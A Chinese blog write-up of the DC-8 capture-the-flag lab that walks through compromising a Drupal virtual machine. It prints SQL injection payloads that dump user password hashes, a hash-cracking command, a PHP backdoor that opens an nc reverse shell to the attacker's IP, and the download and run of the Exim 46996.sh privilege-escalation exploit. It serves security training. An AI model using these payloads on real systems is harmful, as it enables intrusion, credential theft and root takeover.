DC-8 靶场夺旗

当你凝视深渊的时候,深渊也在凝视着你

环境准备

Kali(IP10.10.16.128DC-8 虚拟机
NAT 网络连接

主机发现

nmap -sP 10.10.16.0/24

在这里插入图片描述

端口扫描

nmap -A -v -sS -sV -p- -T4 10.10.16.145

在这里插入图片描述

目录爆破

dirb http://10.10.16.145

发现一个 robots.txt 文件
在这里插入图片描述
访问 robots.txt 文件之后发现一个用户登录界面,/user/login
在这里插入图片描述
在这里插入图片描述

补充(CMSmap)

CMSmap是一个Python编写的针对开源CMS(内容管理系统)的安全扫描器,它可以自动检测当前国外最流行的CMS的安全漏洞。 CMSmap主要是在一个单一的工具集合了不同类型的CMS的常见的漏洞。CMSmap目前只支持WordPress,Joomla和Drupal。
主要功能:

  1. 其可以检测目标网站的cms基本类型,CMSmap默认自带一个WordPress,Joomla和Drupal插件列表,所以其也可以检测目标网站的插件种类;
  2. Cmsmap是一个多线程的扫描工具,默认线程数为5;
  3. 工具使用比较简单,命令行的默认的强制选项为target URL;
  4. 工具还集成了暴力破解模块;
  5. CMSmap的核心是检测插件漏洞,其主要是通过查询数据库漏洞网站(www.exploit-db.com)提供了潜在的漏洞列表。
./cmsmap.py -t http://10.10.16.145

在这里插入图片描述

漏洞挖掘

手动漏洞挖掘,点击 Details 处发现页面由 GET 方法传参,URL 处出现疑似 SQL 注入点。
在这里插入图片描述

① 单引号报错

尝试单引号报错,从报错的信息中发现数据库查询语句和数据库类型
在这里插入图片描述

② 判断 SQL 注入类型

构造 payload 尝试数字型 SQL 注入,页面显示正常

http://10.10.16.145/?nid=1 and 1=1

在这里插入图片描述
页面显示不正常,于是断定此处存在数字型 SQL 注入漏洞

http://10.10.16.145/?nid=1 and 1=2

在这里插入图片描述

③ 猜测列数

order by 猜测当前表的数据列数,当猜测列数为 1 的时候显示正常,列数为 2 的时候显示不正常,所以断定当前表的列数为 1 列。
在这里插入图片描述
在这里插入图片描述

④ union 联合注入

  1. 查看数据回显位
http://10.10.16.145/?nid=0 union select 1

在这里插入图片描述

  1. 查看当前数据库
http://10.10.16.145/?nid=0 union select database()

在这里插入图片描述

  1. 查看 d7db 数据库下的所有表,可以看到一个 users
http://10.10.16.145/?nid=0 union select group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述

  1. 查看 users 表下的字段,发现 name 和 pass 字段
http://10.10.16.145/?nid=0 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

在这里插入图片描述

  1. 查看信息得到两组帐密,如下:
admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
http://10.10.16.145/?nid=0 union select group_concat(name,':',pass) from d7db.users

在这里插入图片描述

⑤ hash 解密

将得到的帐密保存在桌面的文件中,进入桌面

hash --wordlist /usr/share/wordlists/rockyou.txt zhutou.txt

在这里插入图片描述

漏洞利用

使用 john/turtle 在用户登录界面 http://10.10.16.145/user 登录,接下就是通过用户的身份寻找可利用的地方,最常用的做法是在 “添加内容处” 插入后门 getshell

① 构造 payload,留下后门

  1. 点击 Add content – webfrom
    在这里插入图片描述
  2. 填写 title ,点击 save
    在这里插入图片描述
  3. 在 Form components 处添加留言框,选择好文本类型之后,点击 add ,填写必填选项 Label 和 Form key, 最后在页面最下面点击 Save component
    在这里插入图片描述
  4. 点击 From settings ,在 Text format 处选择 PHP code ,插入脚本,注意在脚本前面要插入一些正常文本,不然 Kali 无法反弹 shell 成功。估计系统会对 comfirmation messages(确认报文) 的前面几个字符进行检测。修改完成之后点击 save
<?php
	system("nc -e /bin/bash 10.10.16.128 4444");
?>

在这里插入图片描述
在这里插入图片描述

② 反弹 shell

  1. 最后点击 view ,在 Kali 先监听 4444 端口,然后再提交留言
nc -lvnp 4444

在这里插入图片描述
在这里插入图片描述

  1. 将简单 shell 转换为完全交互式 shell
python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

③ 寻找提权漏洞

将能得到的系统,内核版本都去查看相关的漏洞提权方法,无果。

  1. 使用 find 命令查找
find / -perm -u=s -type f 2>/dev/null

/sbin 一般是指超级用户指令,其目录下的命令通常只有管理员才能使用
Exim 是一个 MTA(Mail Transfer Agent,邮件传输代理)服务器软件

在这里插入图片描述

  1. 查看 exim4 权限,发现有 root 执行权限
    在这里插入图片描述

  2. 查看 exim4 的版本,发现是 4.89,在 Exim 4.87 - 4.91 的版本都存在本地提权漏洞
    在这里插入图片描述

  3. 查看漏洞 exp
    在这里插入图片描述

④ 提权

  1. 将提权脚本复制到 /tmp 目录下,开启 HTTP 服务
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /tmp
python -m SimpleHTTPServer

由于我一开始开启了服务(端口:80),所以当开启 HTTP 服务且指定端口号为 80 的时候就会报错(端口被占用),不指定端口号之后它随机分配了一个 8000 端口
在这里插入图片描述

  1. 在靶机的 shell 里面使用 wget 下载的时候要指定 8000 端口,发现在当前的目录下没有写入的权限,使用 ls -la 查看目录的权限,发现 /tmp 目录有写入的权限
    在这里插入图片描述
  2. 进入 /tmp 目录,将文件下载之后, 查看脚本的权限,如果没有执行权限就添加权限后执行,发现报错。
wget http://10.10.16.128:8000/46996.sh (使用在 Kali开的 HTTP 服务的指定端口)
ls -la 46996.sh
chmod +x 46996.sh
./46996.sh

在这里插入图片描述

  1. 根据报错的内容进一步了解后发现

执行脚本的时候提示 “/bin/bash^M: bad interpreter: No such file or directory” 的错误是由于脚本文件是 dos 格式,即每一行结尾以 \r\n 来标识,而 unix 格式的文件结尾以 \n 来标识

4.1查看脚本文件是dos格式还是unix格式的几种办法。

cat -A filename  从显示结果可以判断,dos格式的文件行尾为^M$,unix格式的文件行尾为$。
od -t x1 filename 如果看到输出内容中存在0d 0a的字符,那么文件是dos格式,如果只有0a,则是unix格式。
vi filename打开文件,执行 : set ff,如果文件为dos格式在显示为fileformat=dos,如果是unxi则显示为fileformat=unix。

4.2 解决方法:

使用linux命令dos2unix filename,直接把文件转换为unix格式
使用sed命令sed -i "s/\r//" filename  或者 sed -i "s/^M//" filename直接替换结尾符为unix格式
vi filename打开文件,执行 : set ff=unix 设置文件为unix,然后执行:wq,保存成unix格式。

在这里插入图片描述

  1. 转换格式之后,运行脚本之后发现还不能成功提权
sed -i "s/\r//" 46996.sh

在这里插入图片描述

  1. 查看脚本内容,发现有两中执行方式
    在这里插入图片描述
  2. 默认是使用第一种,现在使用第二种,不过第二种提权的 shell 不稳定
./46996.sh -m netcat

在这里插入图片描述

                                                                                                                                        猪头
                                                                                                                                     2020.3.2
发布了51 篇原创文章 · 获赞 4 · 访问量 2739

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/104594330